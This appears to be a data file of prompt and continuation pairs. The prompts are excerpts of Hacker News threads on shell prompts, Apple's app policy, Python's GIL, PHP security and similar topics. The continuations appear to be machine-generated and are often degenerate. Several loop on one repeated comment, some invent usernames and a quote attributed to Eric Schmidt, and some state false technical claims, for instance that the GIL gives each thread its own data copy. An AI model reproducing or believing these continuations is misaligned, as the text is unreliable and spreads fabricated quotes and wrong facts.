shell", "input_text": " even know\nwhere the cursor is!\n\nOne important reason for this hack is right prompts. If rprompt has width 7,\nthe shell moves right by $COLUMNS-7, outputs the rprompt, and then moves left\nto return the cursor. What happens if during the move-right phase, the cursor\nwraps to the next line? move-left doesn't \"wrap back\", it just pins against\nthe left side! So your prompts get split across lines, your right prompt\nfloats somewhere in space, and your input may even overlap it. It's quite\nconfusing to the user.\n\nSo if you have a right prompt, the shell has to be very sure it's on a new\nline when it starts!\n\n~~~\nJdeBP\nCUB does not wrap at left margin, but BS _sometimes_ does.\n\n* [https://unix.stackexchange.com/a/198445/5132](https://unix.stackexchange.com/a/198445/5132)\n\n------\nSmaug123\nThat is _distressingly_ clever, and quite beautiful. It's one of those\nsolutions that makes me wonder whether I could ever have come up with it.\n\n~~~\nGuB-42\nIt is almost like a magic trick.\n\nYou probably know some of them along the lines of : think of a number, then do\na series of operations, and then I can guess the result. It can be done with\ncards too. In reality no matter what your initial choice is, the end result is\nalways the same. The trick is to combine relatively complex functions (ex:\n\"take the sum all digits of the number\", \"add 1 if odd\") in a way that produce"} +{"output_text": " interpreter.\n\n~~~\nSpivak\nI'm not sure what you mean. A Turing complete interpreter can trivially\ntranslate itself into a non-Turing complete interpreter.\n\n~~~\nkazinator\nA Turing complete interpreter can trivially translate itself into a finite\nstate machine.\n\n------\njames_s_t_c\nI'm not a lawyer, but I think the EULA is clear and unambiguous.\n\nIf I write an", "input_text": " solution to adhere to the letter of a EULA of a tightly\ncontrolled ecosystem run by a very capricious company.\n\nI hate the app store review process and a lot of apple policies around the app\nstore and I feel for you and I totally think there should be a less onerous\nupdate/review process... but... you clearly and blatantly circumvented a\ncore policy, and what happened to you was absolutely predictable.\n\nGet your money back from the lawyer that told you Apple wouldn't shut you\ndown. You got bad advice.\n\n~~~\nabcd_f\n> _Oh man. You were surprised? Really?_\n\nExactly!\n\nApple has always been adamant that they see _all_ code that goes onto devices.\nLive patching is so bloody obvious against their EULA.\n\n~~~\nwolfgke\nWhat is \"code\"? Everybody who has programmed in LISP or Scheme knows that\nthere is no essential distinction between code and data (only many programming\nlanguages make it a little hard to see that it is all the same). Thus Apple\nwould have to see not only all code, but also all data that goes onto the\ndevices. But this would imply that Apple disallows all apps that read data\nfrom a foreign (i.e. at least not Apple-controlled) server if one does not\nwant to get into a self-contradiction.\n\n~~~\nSpivak\nWhich is why you're not allowed to use a Lisp interpreter or use any method of\nevaluating data as code. In this model the only thing that data can do is\nchange which code paths run, not what they do.\n\n~~~\nkazinator\nThat characterization isn't enough to distinguish a Turing complete\ninterpreter from something that trivially manipulates an"} +{"output_text": " US is the biggest consumer of China's products but I don't think\nthis is a satirical article.\n\n------\nthrowawaysea\nThe article is satire.\n\n------\nm3kw9\nI think this is satire\n\n------\nm3kw9\nI think this is satire\n\n------\nm3kw9\nI think this is satire\n\n------\nm3kw9\nI think this is satire\n\n------\n", "input_text": " the U.S. isn't really even\nmeddling. We care our trade deficit with China and tariffs than human rights\nabuses in China.\n\n~~~\nFabHK\nWell, there's a bipartisan bill that threatens to abolish HK's treatment as\nseparate from mainland China for trade purposes, if HK's autonomy becomes\ninsufficient.\n\n(And, I despise Ted Cruz, but kudos for supporting that bill.)\n\n[https://www.hongkongfp.com/2019/06/14/us-senators-table-\nbill...](https://www.hongkongfp.com/2019/06/14/us-senators-table-bill-amend-\nhong-kong-trade-policy-requiring-new-report-chinas-exploitation-city/)\n\n------\nNotPaidToPost\nWhen people are used to this they can't easily tell what is satire anymore.\n\nI remember a few years back China Daily (or was it the People's Daily) quoted\nThe Onion because the 'journalist' hadn't realised it was a satirical\nwebsite...\n\nEdit:\n\nHere it is. It was the People's Daily:\n[https://www.cnn.com/2012/11/27/world/asia/north-korea-\nchina-...](https://www.cnn.com/2012/11/27/world/asia/north-korea-china-\nonion/index.html)\n\n~~~\nguyhance\nOh the irony...\n\n------\nseomis\nWhat is so absurd about the US trying to influence the legislation or\nelections of another region?\n\n------\nmmmad123\nI know the"} +{"output_text": "\n\n~~~\nTeMPOraL\n> _He barely mentions gravity which is surprising. Earthlings probably wouldn't be as tall with 1.3x more gravity._\n\nIt's not really surprising, considering that we're talking about a hypothetical\nalien civilization with the goal of being as similar to us as possible.\n\nSo, they probably would have evolved to be as tall as us, but with 1.3x more\ngravity.\n\n~~~\npi-", "input_text": " around: I have to expect to be in the large group only, if the\nlarge group makes it more likely that someone in it has questions about his\ngroup (more members -> more random thoughts -> greater total of thoughts about\nwhich group one is in). This is true for blood types (unless people with weird\nblood types commonly get in to issues making them wonder about their blood\ntype...). But for aliens, probably either more or less all wonder collectively\nthrough cultural exchange, or it wasn't part of a public debate.\n\nHm, you get the knot in my brain? can you solve it?\n\n~~~\nphreeza\nI do get the knot. My gut feeling would be that the definition of an\nindividual in this case is \"an entity that is capable of independent thought\".\nSo if all our thoughts as a species were perfectly in sync (borg-style), we\nwould count as a species of population 1. Because of cultural exchange, one\nwould probably have to count us as a species of effective size less than that\nof the actual population size.\n\n------\npi-err\nGreat thought experiment.\n\nI would have thought that a planet's life form, shape and variety would be\ndetermined by:\n\n1- the energy output of nearest star\n\n2- the planet's gravity\n\nHe barely mentions gravity which is surprising. Earthlings probably wouldn't\nbe as tall with 1.3x more gravity. Maybe life wouldn't even have made it out\nof water, or much more slowly.\n\nEvolution would mean \"heavier\" eggs would be harder to carry. The entire\nevolution process hangs around reproduction so what would that mean?\n\nSame for less gravity - except it would _probably_ be on a smaller planet.\nGravity correlates with planet size in the solar system."} +{"output_text": " but this one is his main focus.\n\n~~~\nbarmstrong\nI'm a full-time web developer (not a student) and I've been working on this\nsite full-time for the last 2.5 months. I'm estimating about 80-100 hours a\nmonth.\n\n------\njfarmer\nCongrats. I've been thinking about this problem for a while. I've been\nthinking about it for a while because I have a startup.", "input_text": " may be assuming too much based on my reading of your post, but it sounds\nlike you could really stand to implement some (or more) A/B testing. The fact\nthat it took two years to reach 200 customers but in only a week or so you've\nadded another 20 customers after making some changes makes me think you should\nhave been making (and testing!) changes like that all along. Either way,\ncongratulations, and best of luck in the future!\n\n~~~\nbarmstrong\nYur right - I just didn't have the idea to do this test until recently :) Have\ndone some split testing on price etc, but could def stand to do more.\n\n~~~\ntnorthcutt\nHopefully you'll continue to see a faster increase in signups. Good luck!\n\n------\nspencerfry\nCongrats! With 200 paying customers, you now have more than enough information\nto start tracking churn, CPA, life time value, life time profit, etc. You can\nturn those 200 paying customers into a lot more by accurately tracking your\nmetrics and building from them.\n\nI recommend reading:\n\n[http://thinkvitamin.com/web-apps/how-to-track-six-key-\nmetric...](http://thinkvitamin.com/web-apps/how-to-track-six-key-metrics-for-\nyour-web-app/)\n\n------\nmrbird\nMaybe I missed this in the post, but are you working on this full time? If\nnot, how many hours/week would you estimate you've invested, on average?\n\n~~~\ncolonelxc\nread his about page: \n\nShows he's started a few other sites,"} +{"output_text": "ed a small portion of our backend to a single-page app using React and\nit was a complete nightmare.\n\nIt took us a week to get it up and running, and it was a complete mess.\nNavigation was non-existent, the app was so full of bugs that we couldn't even\nuse it.\n\nI'm not sure if it was the React or the backend, but I'm pretty sure it was\nmore than the framework.\n\n------\nj", "input_text": " to ensure that firing events is\nhygienic, existing projects might not be so hygienic.\n\nWith a server-centric approach, each page load limits the mental load with\nstate. On page-transition, the page state is clean.\n\nWhile I think frameworks like Angular is very interesting, I tend to question\nmy own ambition personally. Something like the approach that Turbolinks takes\nmight actually be more appealing.\n\n------\njosho\nI started down a similar path with ember.js and was starting to see the same\nissues. Primarily the business models duplicated on the client. So, it strikes\nme that we are still figuring out the right path forward on the client/server\nbalance.\n\n------\nmromanuk\n_Duplication and poor documentation made it difficult for developers to make\nchanges to the admin. Once we started questioning Batman, we saw that the\nevidence strongly indicated it was time to move on to the next chapter._\n\nI don't see a SPA vs Server side rendering debate in the article. Building\nyour own framework was the problem, is not a core competence of Shopify to\nbuild JS frameworks. Maybe they could choose other route, like going with\nReact or Angular there.\n\n~~~\nwvanbergen\nWe actually evaluated other options as well, including Angular, but found them\nnot the best solution for our problem. We documented our experiments and\nevaluations at the time here:\n[https://gist.github.com/kristianpd/f4c2e0aeb53d09f6def1](https://gist.github.com/kristianpd/f4c2e0aeb53d09f6def1)\n\n------\nGigablah\nI port"} +{"output_text": "'t change the composition of the group,\nthen the average civilization will have more members than the average\nindividual.\n\n[1]\n[https://en.wikipedia.org/wiki/Sleeping_Beauty_paradox](https://en.wikipedia.org/wiki/Sleeping_Beauty_paradox)\n\n------\njfk13\nThis is a good article, but it's based on the false premise that the number of\n", "input_text": ". After all, life on Earth has only existed\nfor ~4By, compared to ~13By for the Milky Way. As a base for extrapolation,\njust think how different to humans extreme life on Earth is.\n([http://www.livescience.com/13377-extremophiles-world-\nweirdes...](http://www.livescience.com/13377-extremophiles-world-weirdest-\nlife.html)) In any case, there are bound to be some weird-as-shit species out\nthere, whose composition still obeys the laws of physics. In other words,\nthere is almost certainly many _statistical modes_ of life out there that are,\nor can become, sentient.\n\nWith that in mind, there's a very good chance that the overall size\ndistribution of (sentient) species does not match the one the author used\n(that of vertebrates only). In statistics-ese: if the distribution is\nmultimodal, the average of our unimodal sample is not a good guess as to what\nthe true average really is.\n\nMaybe we can agree upon that?\n\n------\nGravityloss\nThis is a bit like the sleeping beauty paradox. [1] We have to be careful what\nwe're sampling.\n\nIs it individuals or civilizations?\n\nAn average civilization will be average sized. An average individual will\nbelong to a larger-than average civilization.\n\nIt's also a bit like the problem that in average, your friends have more\nfriends than you do. (That's easy to understand. It's because they are not a\nreally random sample of all people. People with more connections are over-\nrepresented in your friends.)\n\nIf we assume that observation doesn"} +{"output_text": "jap\nI've used [https://queue.sh](https://queue.sh) for some small production\nworkflows. It's simple, easy to use, and has worked well for my use cases.\n\n------\njap\nI've used [https://queue.sh](https://queue.sh) for some small production\nworkflows. It's simple, easy to use, and has worked well for my use cases.\n\n------\njap", "input_text": " state and task results in postgres makes it easy to\nintegrate with workers in different languages, but you need to write the\nlibrary code to query and lock a free task to process.\n\nI'm not sure how well this would scale for 10 million tasks in \"a short\nperiod\". It works fine for me running the database and multiple workers on a\nsingle machine with around 100k tasks that are scheduled and processed every\nweek or two.\n\n> Features most important to me are multiple retries, restarting workers that\n> are not responding, ability to monitor status of the queue and workers.\n\nSome of these concerns might not be the responsibility of the job processing\nsystem: you might just need to set up some monitoring and health checks to\nrestart services or machines if they stop responding\n\n------\nstephenr\nI've been using Qless for a client recently.\n\nThe core logic itself is Lua that runs in Redis itself, but each language\ngenerally needs a client to interface between the native expected norms and\nthe Lua. I can't comment on the availability or quality of Python or Go client\nlibraries.\n\nIt's not perfect, but it's workable.\n\n------\nmiraculixx\nInteresting - I have had good experience with Celery, so interested to hear\nmore about the problems you encounter. In particular Celery provides all the\nfeatures that you are looking for so it would be great to know more about your\nspecific issues.\n\nCan you elaborate on your set-up?\n\n------\nshoo\nSome ideas from prior hn discussion:\n[https://news.ycombinator.com/item?id=15985103](https://news.ycombinator.com/item?id=15985103)\n\n------\n"} +{"output_text": "\n\nI agree that the slow storage is a killer point for netbooks.\n\n------\nrbanffy\nI am reminded of the old joke about the guy who, when asked how he's doing,\nreplies: \"I'm dead, but I still have a job.\"\n\nI am also reminded of the old joke about the guy who, when asked how he's\ndoing, replies: \"I'm dead, but I have a job and no one is", "input_text": " painfully slow. I got myself a netbook (Samsung NC10 Plus)\nrecently, and while I don't regret it because I view it as an emergency\ncomputer if I should spill water on my laptop, it isn't pleasant to use.\n\n~~~\nrjbond3rd\nIt depends on the processor. A low-end single-core Intel Atom is okay for\nlight browsing.\n\nBut some ultra-portables with dual-core CPU's are much zippier, e.g., the\nThinkpad x120e with the dual-core AMD Fusion E350.\n\n~~~\ndexen\nFor most uses it depends on memory too: both RAM and mass storage. A typical\nuser has a browser, an IM and some other window opened most of the time. A\nbunch of systray icons, perhaps also antivirus, if MS Windows.\n\nA typical netbook is underprovisioned in RAM and has slow storage to match;\npain both when starting up and in case of swapping VM pages. Topped up with a\njoke of a GPU, likely using up access cycles of system memory instead of\nhaving own dedicated RAM.\n\nLess display estate (pixel-wise) means you have to Alt+Tab or scroll around\nmore often, too; sucking up your time.\n\nSo no, CPU doesn't have to be the only choke point in a netbook, and\n kicks in.\n\n~~~\nrjbond3rd\nInteresting. My case is perhaps unusual since I never use more than 800Mb of\nRAM. I am running Linux, a browser and a terminal. So on all my machines, I\nonly have 1Gb installed and no swap."} +{"output_text": " is so open means that I'm sure I'll be getting a lot of\n\"you're using X, I'm better than Y\" for a while. But I'm not convinced that\nanyone will be able to match iOS.\n\n~~~\nsaurik\nI have a Windows Phone, largely as an experiment at seeing if I like it or not.\nThe UI is amazing on the core apps. The People, Music and Email apps are second\nto none.\n\n", "input_text": " released within the last two years. When I was talking to coworkers\nover lunch, we quickly drifted into utter confusion when trying to compare\nphone features.\n\n~~~\ndaleharvey\nSince 2.2 I have much preferred Android to iOS, since then I have always\nthought it was a better platform and enjoyed using it more, however there has\nalways been little niggly warts around that can be brought up, against the\nbias of the hacker new crowd it seems like the market has agreed, Android\nphones outsell iPhones, my non techy friends mostly prefer their android\nphones.\n\nI get the feeling from most reviews that it isnt so much that this is finally\nthe android phone that usable' as much as 'this is finally the android phone\nthat is almost unarguably better than the iphone', or at least the one that\ndoesnt have the warts that android detractors like to bring up in these\ncomparisons\n\n~~~\nnitrogen\nOne of those niggly warts, namely UI stuttering, is significantly reduced on\nmy Galaxy S-derived phone when I terminate any services (like IQ) not\nspecifically related to the apps I'm running.\n\n------\nuntog\nICS's core apps can be as slick and beautiful as they want, but app developers\nneed to keep up, and I'm not convinced they will.\n\nI have a Windows Phone, largely as an experiment at seeing if I like it or\nnot. The UI is _amazing_ on the core apps. The People, Music and Email apps\nare second to none. But almost every third party app I download gets something\nwrong (often most things wrong), and it's very jarring when you're expecting\nthings to match a very defined UI flow.\n\nThe fact that Android"} +{"output_text": " the cost of a\nsingle pound of plutonium?\n\n~~~\nars\n> nonsense.\n\nI was not talking about the trip itself, but the radiation after you get there.\n\n> So we can extract the shielding from the moon? Waste of time for exploration.\n\nYes, but it's not necessary. You can build a shelter on the moon that is\nsufficient for humans.\n\n> How much is the cost of a single pound of plutonium?\n", "input_text": " down, it touches down.\n\n~~~\nmonocasa\nSo by design, the rocket motor is going to be active, and pointing at\nsomething he doesn't control?\n\n------\nnategri\nAfter all the dire news in May I'm very happy so see good content on a Make\ndomain :)\n\n------\nprotomikron\nCool project, but... that website gave my browser cancer (if you scroll down\ntoo far, your history is messed up and back button does not work).\n\n \n\nBuzz Aldrin: Cancel Ares, reprieve shuttle, colonise Mars - dhs\nhttp://www.theregister.co.uk/2009/06/28/aldrin_space_vision\n\n======\nars\nI thought the problem was that humans can't _get_ to mars!\n\nBecause there is too much solar and cosmic radiation, and no one would survive\nthe trip. And enough shielding to block it is too heavy to launch (from\nearth). Which is why we want to go to the moon first.\n\n~~~\nstcredzero\n_I thought the problem was that humans can't get to mars! Because there is too\nmuch solar and cosmic radiation,_\n\nNonsense. If you can hop in a shelter to avoid the occasional solar storm that\ncan kill you instantly, the remaining associated risks are like smoking.\n\n _And enough shielding to block it is too heavy to launch (from earth)._\n\nAgain nonsense. Water is a very good shield medium. You'll need to carry a lot\nof it anyhow, and you only need to shield a small short-duration shelter for\nradiation storms.\n\nSo we can extract the shielding from the moon? Waste of time for exploration.\nSo you save on launch costs for the expedition. How much is"} +{"output_text": ". Schmidt said he was impressed by Mr. Brin's commitment to privacy and\n> told him that Google would do everything it could to protect his privacy.\n> \"I'm sure you'll understand that we have to change people's names,\" he said.\n\n\n\n~~~\nspaznode\nI stand corrected. I stand corrected.\n\n", "input_text": " ago, with ex-employees stating that the system\nwas routinely abused for amusement. What's up with that these days?\n\n------\nXurinos\nJust to keep this into perspective, we are reading about this because it is\nGoogle. But _every_ system and _every_ relay through which your email passes\nis a point where somebody with less then well-meaning intentions can read your\nemail. We may be able to somewhat rely on Google to enforce some privacy\npolicy, given publicity pressures, but some danger lies in all the carriers\nbetween point A and point B.\n\nIt is a shame that PGP only took off in the hardcore user community. If it was\nmade insanely accessible to users -- maybe even transparent -- maybe we could\nhave a better assumption of privacy for our communications (as well as a\npotential reduction in spam?).\n\n------\njakarta\nMaybe Google should add more questions related to ethics in their rigorous\ninterview process.\n\n------\nspaznode\nStill kind of alarming, I mean I do personally know some google employees and\nnone would even remotely consider doing anything like this for both\nphilosophical and practical reasons. Either way it's kind of scary that some\ndouche fucker \"quality assurance\" dweeb had enough access to do this kind of\nthing.\n\nI think we ought to have some kind of equivalent HIPPA act for ALL data\npersonally identifiable to us, not just in medical contexts. That'd put the\nfire under googles ass enough to take our privacy seriously. Fuck Eric Schmidt\nand his \"change your name at 18\" bullshit. We know who that fucker is right\nnow.\n\n~~~\n124816\nDid you ever see the full quote of the \"change your name\" stuff?\n\n> Mr"} +{"output_text": "toward\nI'm not saying I want DSC to be my Amazon, but I do want it to be my\nGiltGroupe. That is, a place where I can discover new things and have them\narrive at my house.\n\n~~~\ndiminoten\nI get that, but I don't think it's a bad thing. It's a good thing.\n\n~~~\nbrianbreslin\nI'm a big fan of Gilt.", "input_text": " DSC,\nDorco, etc.\n\nEven as a complete novice I've had no issues with nicks or cuts and actually\nlook forward to shaving again.\n\n------\nkilroy123\nSometimes I feel like I'm the only man in the world who uses an electric\nshaver everyday. I don't think I know a single other guy.\n\n~~~\navree\nElectric shavers are awful for getting any sort of reasonable shave, which is\nprobably why they aren't used much.\n\n~~~\npionar\nYeah, the few times I used one, I still had a 5 o'clock shadow.\n\n------\nbrianbreslin\nI am a huge fan of DSC and their biz model. I'm a subscriber, their products\naren't anything amazing, but I think of it as foothold into first bathroom\nproducts, later other consumables.\n\nI bet they come out with a shampoo, conditioner, body wash, hair gel,\ntoothpaste/mouthwash, toothbrushes, moisturizer, deodorant(s). Think anything\naxe/old-spice do now.\n\n~~~\nsmacktoward\nSo the appeal of a service that provides admittedly mediocre products is that\nsomeday they might provide even more types of mediocre products?\n\nI don't get it. But then I've never really gotten the appeal of DSC, beyond\nthe well-done launch video.\n\n~~~\ndiminoten\nWhat's not appealing about no longer having to think about purchasing any of\nthese things? When you're low, new items appear magically on your doorstep.\n\nFrankly, I wish most of my replenishables were like this.\n\n~~~\nsmack"} +{"output_text": "\n\nHave you taken any coding classes? If so, what were the classes like? What\nwere the teachers like? Have you taken any other classes? Have you read books\non the subject? What did you think of those books?\n\nHave you taken a look at the job boards? Have you tried applying to jobs that\nyou find there? Have you tried applying to jobs that you can find through\nother people? Have you tried applying to jobs that you can find through\n", "input_text": "\nHave you tried [http://freecodecamp.com/](http://freecodecamp.com/) I'm going\nthrough it at the moment. I'm no programmer, but found it really interesting.\n\n------\nflannelncode\nThis is all you need. Good luck bro.\n\n[http://www.theodinproject.com/](http://www.theodinproject.com/)\n\n------\nDanBC\nDo you have a project that you can work on? Lack of a syllabus is a problem,\nso having a structure means you learn what you need to complete the project.\n\nYou then build up a portfolio.\n\n------\ngexla\nThere are many roads to doing what you are attempting to do. Just having\naccess to the internet and a computer is a huge start. You are in a tough\nposition, but I'm living in the Philippines where many have no access to a\ncomputer and some don't even have electricity.\n\nMuch of a career in web development (or anything) is about dealing with\npeople. Communicating with your employers, team, clients and anyone else you\nneed to deal with. Along with the technical components, take some time to\npractice writing and learning good grammar. You can take free online classes\nfor writing and grammar. Writing well is one of the most powerful ways to come\nacross as a professional who can solve problems. You'll be judged on this\nbefore you even get to the point of demonstrating technical ability.\n\nHave you built anything? If not, then start there. Web development is a craft,\nit's about building stuff. For me, building came first. My passion in creating\nthings to solve my own problems and sharing those things on the internet put\nme on the path to paid work, not the other way around."} +{"output_text": " food for\nfar less than I pay at a grocery store.\n\n\"Eating poorly impairs your ability to think to the extent that you cannot be\nheld responsible for your poor choice of diet\"\n\nThis is also false. I can choose to eat poorly and not suffer any of the\nconsequences. I can also choose to eat healthily and suffer the\nconsequences...but I'm not doing that.\n\n~~~\nTycho\nI agree that you can", "input_text": "Altmaier\nSO the problem is, the definition of overweight has changed to 'anyone that\ndoesn't look good in a bathing suit'?\n\n~~~\nwill_work4tears\nI don't think it's changed, I'm not commenting on that, merely saying most\npeople don't realize they are, or are seeing an obese person. People think\nObese = rolls of fat when in fact you can be pretty fit looking with clothes\non.\n\nI'm pretty sure a BMI of 30+ is still not the healthiest. Just not as obvious\nas a person with a 40+ BMI (morbidly obese)\n\n------\nbravoyankee\nMany people are too poor to eat well. When all you can afford is spaghetti and\npotatoes, you will gain weight and experience suboptimal energy. You'll also\nbe more likely to suffer anxiety, depression and get diabetes.\n\nBelieve me, you don't think all that well either - decisions become more\nemotional than rational - so getting out of the hole gets even harder.\n\nInstead of finger pointing, chastising and instructing, I think more\ncompassion is required when it comes to dealing with the complex issue of\nobesity.\n\n~~~\nTycho\nYour two assertions that\n\n1\\. Eating healthily is more expensive than eating junk\n\n2\\. Eating poorly impairs your ability to think to the extent that you cannot\nbe held responsible for your poor choice of diet\n\nI find them very hard to believe (even though I hear them often). Do you have\nany links to the studies or evidence that show this?\n\n~~~\nskylan_q\n\"Eating healthily is more expensive than eating junk\"\n\nThis assertion is blatantly false. I can get full on excellent quality"} +{"output_text": " can access all your data at the same\ntime. With the GIL, each process has its own copy of the data, and cannot\naccess the data of any other process.\n\nThis is why Python is so slow.\n\n~~~\ntikhonj\nThat's not true. The GIL doesn't mean that each process has its own copy of\ndata. It means that each Python thread has its own copy of data.\n\nThis is why Python is so slow", "input_text": "Caml book ([http://caml.inria.fr/pub/docs/oreilly-\nbook/html/book-ora082....](http://caml.inria.fr/pub/docs/oreilly-\nbook/html/book-ora082.html) )). In other words, it plugs the worst memory\nleaks caused by reference counting.\n\nHow to do multiprocessor / multithread GC well is still an area of active\nresearch. In the mean time, one simpler solution is to have several\nindependent VM states, each running in their own thread (or process), and\ncommunicating via message passing. Lua makes this easy, but its VM is\nconsiderably lighter than Python's.\n\n------\neuroclydon\nIf Python can't get this threading thing worked out, isn't the language going\nto get left behind as parallel architecture marches onward?\n\n~~~\ncdavid\nThere are many ways to exploit multi-cores, multi-threading is just one of\nthem. Many other techniques exist. Also, one thing to realize is that if speed\nreally matters (like in scientific apps), you will get much higher speed\nincrease by rewriting some parts in C than by allowing using all the cores\nfrom python (at least with only a couple of cores).\n\nFinally, a point which is not often brought but is crucial in my opinion is\nabout C extension: the GIL makes C extensions much easier to write. That's one\nbig reason for python success in the first place.\n\n------\nzepolen\nWhy are real threads so important? Does anyone have an example where threads\nwould be much better than using the multiprocessing module?\n\n~~~\nmahmud\nWith native threads, all your threads"} +{"output_text": " minutes.\n\nI was so used to the store, the staff, the customers, etc. that I didn't even\nrealize the light was on. I just assumed it was always on, because it was on\nwhen I first started.\n\nWhen I was done working that day, I went to the back office to clock out. Bill\nwas there, and he asked me how my day was. I told him it was great, and that I\nwas having a great", "input_text": " poor. If something\nabout my post offends anyone, I'd love to know about it.\n\n------\nmangeletti\nI swear this is a true story:\n\nI worked at Staples when I was 19, and when I first started I was a \"front end\nlead\" (read: the only full-time cashier), so I would work behind the service\ncounter at the front.\n\nOnce, I was standing up front while there were no customers when all of the\nsudden the voice of the general manager (we'll call him Bill) popped onto the\nphone's speaker, \"Hey, Michael\". I looked up and noticed the light next to\n\"Manager's Office\" was on. I instinctively replied, \"Hey, Bill; what's up?\",\ndespite the fact that it nearly gave me a heart attack.\n\nBill proceeded to tell me to run something he needed to the back, which I did,\nand that was the end of that.\n\nThen, one day I was helping a customer with some Cross pens behind the\ncounter. I stood up to grab a key that was next to the register when I noticed\nout of the corner of my eye that the phone's \"Manager's Office\" intercom light\nwas on. It made my heart jump because I hadn't talk to anybody through it, and\nI knew that Bill was in the back office. I immediately realized, 'oh my god,\nhe's probably spying on me to see how my service is!'. It made me feel\nuncomfortable, until I realized it was an opportunity to be extraordinarily\nhelpful and jovial with the customer and be \"candidly\" observed by my manager.\nSo I did that. I rang the customer up and she left. The light went off after a\nfew"} +{"output_text": "> applications written in PHP.\n\nI'm not. I'm not even talking about PHP applications. I'm talking about PHP\nplatforms.\n\n------\njancsika\n> _PHP is not a language, it's a web server._\n\nI think this is a very important distinction. I don't think PHP is a language\nat all, but a platform.\n\nI'm not a PHP developer, but I've worked with Java, C#, Python,", "input_text": "think for example I've heard of a Python based SQL injection in many years.\nStuff like that seems to still crop up regularly in PHP land\n\n~~~\nsmsm42\nNow you are confusing security of PHP as a platform with security of\napplications written in PHP. Python had 2 RCEs in 2018:\n[https://www.cvedetails.com/vulnerability-\nlist/vendor_id-1021...](https://www.cvedetails.com/vulnerability-\nlist/vendor_id-10210/product_id-18230/year-2018/opec-1/Python-Python.html)\nNone in 2019 so far. PHP has none in 2018 and has one in 2019 so far (there's\nanother one in http module but it's not part of the core).\n\n> I don't think for example I've heard of a Python based SQL injection in many\n> years. Stuff like that seems to still crop up regularly in PHP land\n\nThis is an extremely subjective statement based on your personal experience of\nwhat you heard and didn't. As such, it's not verifiable and not useful. What\nis useful is to know that, obviously, PHP, as well as Python, has SQL\nimplementations that eliminate injections for decades. And as in Python, there\ncould be people that ignore it and stuff query params directly into strings.\nThis has nothing to do with anything but these people being ignorant. There\nare of course tons of web apps in PHP, much more than in Python, so among them\ninevitably would be crappy ones. If you run one of them, do take precautionary\nmeasures.\n\n~~~\ngsmith2\n> Now you are confusing security of PHP as a platform with security of\n"} +{"output_text": " reason to drop out.\n\n~~~\ntjr\nI'm not sure what you mean by \"substantive reason.\" If you're not learning\nsomething that you need, or are not enjoying yourself, or are not getting\nsomething out of college that you believe you could get more out of doing\nyourself, then there is a reason to drop out.\n\n~~~\ncarbocation\nI mean something that would be worth the effort of dropping out for, in and of\n", "input_text": " and Gates excluded) who drop out for a startup\nare actually running from something, and the thing they're running from isn't\ncollege, but the fact that 18-24 is a difficult age, especially in the\nneurotic U.S.\n\n~~~\ncyang08\nGreat insight about autodidacticism - sometimes it's just really hard to (1)\neven know what to do in the first place and (2) do it without structure or\nextrinsic motivation.\n\nI think in an ideal world, self-study and maintaining an ongoing education\nwhile out in the field are great. Unfortunately in a practical world, finding\nthat motivation intrinsically is pretty difficult. There's actually a great\nvideo by Dan Pink delving into the specific components of motivation:\n\n\n(credit a forum post on improving at StarCraft for this actually, haha:\n[http://www.teamliquid.net/forum/viewmessage.php?topic_id=374...](http://www.teamliquid.net/forum/viewmessage.php?topic_id=374400))\n\n------\nkloncks\nDon't drop out just to drop out. There's no statement to be made.\n\nSometimes dropping out makes sense; other times it doesn't. It's based on that\nunique situation. Dropping out isn't a matter you can over generalize with\nblanket statement advice.\n\n------\nsamsolomon\nI don't see the harm in dropping out.\n\nIf your startup is gaining traction, take a semester off and try and make it\nwork. You can always go back to school if the business doesn't work out.\n\n------\ncarbocation\nUntil you find a substantial"} +{"output_text": " not the PHP binary is from the PHP 7.3 series.\n\n------\njwilber\nI\u2019m not sure why this is news. The CVE was public since July.\n\n~~~\njwilber\nI guess I should have mentioned that this is for PHP 7.3.11.\n\n------\njwilber\nI\u2019m not sure why this is news. The CVE was public since July.\n\n------\njwilber\nI\u2019", "input_text": "'t just give strangers VPN access.\n\nThis is a feature. Besides, you can send friends and family a QR code to\nconnect to your WireGuard VPN. It isn't perfect, but it beats having your\npersonal data stolen.\n\n~~~\ncyphar\nI don't see how \"you cannot use the link sharing feature of NextCloud\" is a\nfeature? Seems to be the precise opposite. As for setting everyone else up on\nthe VPN, you could probably get that to work (you'd need to mess with DNS,\nAllowedIPs, and iptables rules to only allow port 443 access for your family's\nclients). I might look into that.\n\n~~~\nheavyset_go\nIt's a security trade off, if an arbitrary person can't access your Nextcloud\ninstance, neither can an attacker.\n\n~~~\ncyphar\nSure (and I agree), but that means it's not a feature. But after reading your\nearlier comment, I have set nginx to only permit NextCloud traffic if I'm on\nthe local network (I can't block everything because my personal website and\nMatrix homeserver need to be publicly accessible in order to function, and\nthere's no way in hell I'm hosting my homeserver anywhere other than at home).\n\n------\nhnarn\nFrom the CVE:\n\n> Solution\n\n> On October 24, PHP 7.3.11 (current stable) and PHP 7.2.24 (old stable) were\n> released to address this vulnerability along with other scheduled bug fixes.\n> Those using nginx with PHP-FPM are encouraged to upgrade to a patched\n> version as soon as possible.\n\n> If patching is not feasible, the suggested workaround is to include checks\n> to verify whether or"} +{"output_text": " at the time, and was pretty easy to learn.\n\nI was pretty proud of that assembler. I still have it, and I use it to this\nday.\n\nA few years later, I wrote a new assembler. It was commercial quality, too,\nbut it was _very_ slow. It was a lot of work to write, and it was a lot of\nwork to use. It was also buggy.\n\nI was pretty proud of that", "input_text": " and sense which parts of the program were essential enough to re-type. He\n> thought this was the most natural thing in the world: of course you throw\n> away the first few implementations, you didn't understand the problem when\n> you wrote those!\n\nI thought I was the only one who did that.\n\n~~~\nkabdib\nGood code isn't written, it's re-written.\n\nIt is scary when something \"works the first time\", because it probably\ndoesn't.\n\n~~~\nerikpukinskis\nThere's different ways to re-write though. I tend to assume I couldn't come up\nwith the right design if I tried. So I will leave my naive implementation in\nplace until USE shows me a bug or a new feature and then that IMPLEMENTATION\nshows me where my architecture is clunky, and how to fix the original thing.\n\nOver time, everything important gets a full rewrite or four, but only piece by\npiece.\n\nGenerally I assume in an implementation vacuum the long term spec isn't even\nwell defined so I would never just rewrite something immediately.\n\nSometimes if a module proves difficult to amend I will start over from\nscratch. But usually by then I have tests and use cases I am confident in.\n\nI love the idea of people doing these rewrite series though... not trying to\nbe evangelical. Just describing a different kind of rewrite.\n\n~~~\nkabdib\nBack when rocks were young, one of my hobbies was writing assemblers because\nthe ones available were generally terrible. My first few attempts were pretty\nbad. The fifth or sixth assembler that I wrote was commercial quality; it was\nfast, had macros, supported most of the different microprocessors that our\nplatform had"} +{"output_text": "\n\n~~~\nrichthegeek\nI've been in too many places where the sysadmin team was a bunch 